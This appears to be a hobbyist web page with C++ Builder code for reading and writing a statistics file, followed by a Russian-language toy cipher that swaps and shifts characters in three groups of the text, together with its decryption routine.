void TFStatistics::OpenStsFile()
{
       TFileStream *pOpenFile;

       TStringList *pFileList = new TStringList();
       try
       {
              pOpenFile = new TFileStream(StatFileName(), fmOpenRead); // open the file

              ReadStsFile(pOpenFile, pFileList); // Read the file

              pAll_Statistics->AddStrings(pFileList);

              delete pOpenFile;
              pOpenFile = 0;
              delete pFileList;
              pFileList = 0;
       }
       catch(...)
       {
              pOpenFile = 0;
              delete pFileList;
              pFileList = 0;

              CreateStsFile();
       }
}



//-------------   Read Statistics File    -------------------------
void TFStatistics::ReadStsFile(TFileStream *pFile, TStringList *pStringList)
{
       AnsiString rText;
       if( pFile != NULL )
       {
              int size;
              pFile->Read(& size, sizeof(size));
              if( size != 0 )
              {
                     try
                     {
                            rText.SetLength(size);
                            pFile->Read((void *)(rText.data()), size);
                            pStringList->SetText(rText.c_str());
                     }
                     catch( EOutOfMemory & )
                     {}
              }
       }
}



//------------ Save Statistics File ----------------------
void TFStatistics::SaveStsFile()
{
       TFileStream *pStsFile = new TFileStream(StatFileName(), fmCreate); // Make new File
        if( pStsFile != NULL )
        {
              AnsiString text = pAll_Statistics->GetText(); //

              int size = text.Length();
              pStsFile->Write(&size, sizeof(size));
              if( size != 0 ) pStsFile->Write(text.data(), size);
        }

        delete pStsFile;
        pStsFile = 0;
}



//--------------------------------------------------------------------------- Return the file name, taked from main unit ---------------------
AnsiString TFStatistics::StatFileName()
{
       AnsiString StatFileName = *MainForm->pfilename;
       if (StatFileName == "")
       {
              __CreateFile = false;
       }
       else
       {
              //  make from Card file name, file name to statistics file ( .wst)
              StatFileName.Delete(StatFileName.Length()-3, 4);
              StatFileName.Insert(".wst", StatFileName.Length() + 1);
       }
       return StatFileName;
}


Алгоритм шифрования (скачать)

Алгоритм шифрования заключается в определении длины входящего текста, разбиение этого текста на три группы и применение к каждой группе текста соответствующего метода шифрования. *Для русского алфавита. Методы шифрования :

1. перестановка 1-го символа на 2-й;

2. подстановка следующего символа с алфавита (n+1);

3. Перестановка 1-го символа на 3-й.


// если длина входного текста больше или равно 9, начинаем работу
        if (InputText->GetTextLen() >= 9 )
        {
                // Входной текст
                AnsiString theText = InputText->Text;


                // Узнаем длину текста
                unsigned int textLength = theText.Length();

                // Узнаем длину одной группи текста
                unsigned int GroupSize = textLength / 3;


                //// 1-й метод
                //// Перестановка 1-го символа на 2-й
                ////
                for (int i = 1; i < GroupSize;)
                {
                       char Sumbol =  theText[i];
                       theText[i] = theText[i+1];
                       theText[i+1] = Sumbol;
                       i+=2;
                }

                //// 2-й метод
                //// Подстановка следующего символа с алфавита (n+1)
                ////
                for (int i = GroupSize+1; i < (GroupSize+GroupSize); i++)
                {
                        int NumberOfChar= (int) theText[i];
                        if (theText[i] == 'я')
                        {
                                theText[i] = '©';
                        }
                        else
                        {
                                NumberOfChar++;
                                theText[i] = (char) NumberOfChar;
                        }
                }

                //// 3-й метод
                //// Перестановка 1-го символа на 3-й
                ////
                for (int i = (GroupSize+GroupSize) ; i < (textLength-3);)
                {

                       char Sumbol =  theText[i];
                       theText[i] = theText[i+2];
                       theText[i+2] = Sumbol;
                       i+=3;

                }
                // Выводим результат...
                CodeText->Text = theText;
        }


Алгоритм дешифровки(тоже самое что в первом только наоборот) :
----------------------------------------------------------------------------
// если длина входного текста больше или равно 9, начинаем работу
         if (CodeText->GetTextLen() >= 9 )
        {
                // Входной текст
                AnsiString theText = CodeText->Text;

                 // Узнаем длину текста
                unsigned int textLength = theText.Length();

                // Узнаем длину одной группи текста
                unsigned int GroupSize = textLength / 3;


                //// 1-й метод
                //// Перестановка 1-го символа на 2-й
                ////
                for (int i = 1; i < GroupSize;)
                {
                       char Sumbol =  theText[i+1];
                       theText[i+1] = theText[i];
                       theText[i] = Sumbol;
                       i+=2;
                }

                //// 2-й метод
                //// Подстановка следующего символа с алфавита (n+1)
                ////
                for (int i = GroupSize+1; i < (GroupSize+GroupSize); i++)
                {
                        int NumberOfChar= (int) theText[i];
                        if (theText[i] == '©')
                        {
                                theText[i] = 'я';
                        }
                        else
                        {
                                NumberOfChar--;
                                theText[i] = (char) NumberOfChar;
                        }
                }

                //// 3-й метод
                //// Перестановка 1-го символа на 3-й
                ////
                for (int i = (GroupSize+GroupSize); i < (textLength-3);)
                {
                       char Sumbol =  theText[i+2];
                       theText[i+2] = theText[i];
                       theText[i] = Sumbol;
                       i+=3;
                }
                // Выводим результат...
                DeCodeText->Text = theText;
        }

Сайт управляется системой uCoz